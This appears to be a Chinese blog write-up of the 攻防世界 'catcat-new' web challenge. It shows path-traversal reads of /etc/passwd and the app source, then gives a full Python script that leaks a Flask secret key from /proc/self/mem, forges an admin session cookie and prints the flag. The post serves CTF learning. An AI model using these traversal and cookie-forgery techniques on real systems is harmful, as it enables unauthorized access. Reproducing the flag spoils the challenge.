相关推荐recommended
【愚公系列】2023年05月 攻防世界-Web(catcat-new)
作者:mmseoamin日期:2023-12-02

文章目录

  • 前言
  • 一、catcat-new
    • 1.题目
    • 2.答题

      前言

      任意文件读取漏洞是指攻击者通过在应用程序中输入非法的文件名或路径,从而获取未授权的文件读取权限的漏洞。攻击者可以利用此漏洞来读取系统文件、敏感数据或其他用户数据。这种漏洞通常是由于程序没有正确地检查用户的输入而引起的。建议开发人员在编写应用程序时进行严格的输入验证并使用安全的文件访问方法来避免此类漏洞的发生。

      一、catcat-new

      1.题目

      【愚公系列】2023年05月 攻防世界-Web(catcat-new),在这里插入图片描述,第1张

      2.答题

      http://61.147.171.105:60014/info?file=ForestCat.txt
      

      【愚公系列】2023年05月 攻防世界-Web(catcat-new),在这里插入图片描述,第2张

      判断可能有任意文件读取漏洞。读取/etc/passwd文件

      【愚公系列】2023年05月 攻防世界-Web(catcat-new),在这里插入图片描述,第3张

      发现网站时flask框架,python编写的,读取app.py文件

      http://61.147.171.105:62465/info?file=../app.py
      

      发现读取成功:

      【愚公系列】2023年05月 攻防世界-Web(catcat-new),在这里插入图片描述,第4张

      import os
      import uuid
      from flask import Flask, request, session, render_template, Markup
      from cat import cat
      flag = ""
      app = Flask(
      	__name__,
      	static_url_path='/', 
      	static_folder='static' 
      )
      app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
      if os.path.isfile("/flag"):
      	flag = cat("/flag")
      	os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解
      @app.route('/', methods=['GET'])
      def index():
      	detailtxt = os.listdir('./details/')
      	cats_list = []
      	for i in detailtxt:
      		cats_list.append(i[:i.index('.')])
      	
      	return render_template("index.html", cats_list=cats_list, cat=cat)
      @app.route('/info', methods=["GET", 'POST'])
      def info():
      	filename = "./details/" + request.args.get('file', "")
      	start = request.args.get('start', "0")
      	end = request.args.get('end', "0")
      	name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
      	
      	return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
       
      @app.route('/admin', methods=["GET"])
      def admin_can_list_root():
      	if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
      		return flag
      	else:
      		session['admin'] = 0
      		return "NoNoNo"
      if __name__ == '__main__':
      	app.run(host='0.0.0.0', debug=False, port=5637)
      

      破解脚本

      # coding=utf-8
      #----------------------------------
      ###################################
      #Edited by lx56@blog.lxscloud.top
      ###################################
      #----------------------------------
      import requests
      import re
      import ast, sys
      from abc import ABC
      from flask.sessions import SecureCookieSessionInterface
      url = "http://61.147.171.105:60014/"
      #此程序只能运行于Python3以上
      if sys.version_info[0] < 3: # < 3.0
          raise Exception('Must be using at least Python 3')
      #----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
      class MockApp(object):
          def __init__(self, secret_key):
              self.secret_key = secret_key
              
      class FSCM(ABC):
              def encode(secret_key, session_cookie_structure):
                  #Encode a Flask session cookie
                  try:
                      app = MockApp(secret_key)
                      session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                      si = SecureCookieSessionInterface()
                      s = si.get_signing_serializer(app)
                      return s.dumps(session_cookie_structure)
                  except Exception as e:
                      return "[Encoding error] {}".format(e)
                      raise e
      #由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
      s_key = ""
      bypass = "../.."
      #请求file路由进行读取
      map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
      map_list = map_list.text.split("\\n")
      for i in map_list:
          #匹配指定格式的地址
          map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
          if map_addr:
              start = int(map_addr.group(1), 16)
              end = int(map_addr.group(2), 16)
              print("Found rw addr:", start, "-", end)
              
              #设置起始和结束位置并读取/proc/self/mem
              res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
              #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
              if "*abcdefgh" in res.text:
                  #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
                  secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
                  if secret_key:
                      print("Secret Key:", secret_key[0])
                      s_key = secret_key[0]
                      break
      #设置session中admin的值为1
      data = '{"admin":1}'
      #伪造session
      headers = {
          "Cookie" : "session=" + FSCM.encode(s_key, data)
      }
      #请求admin路由
      try:
          flag = requests.get(url + "admin", headers=headers)
          print("Flag is", flag.text)
      except:
          print("Something error")
      

      得到flag:catctf{Catch_the_c4t_HaHa}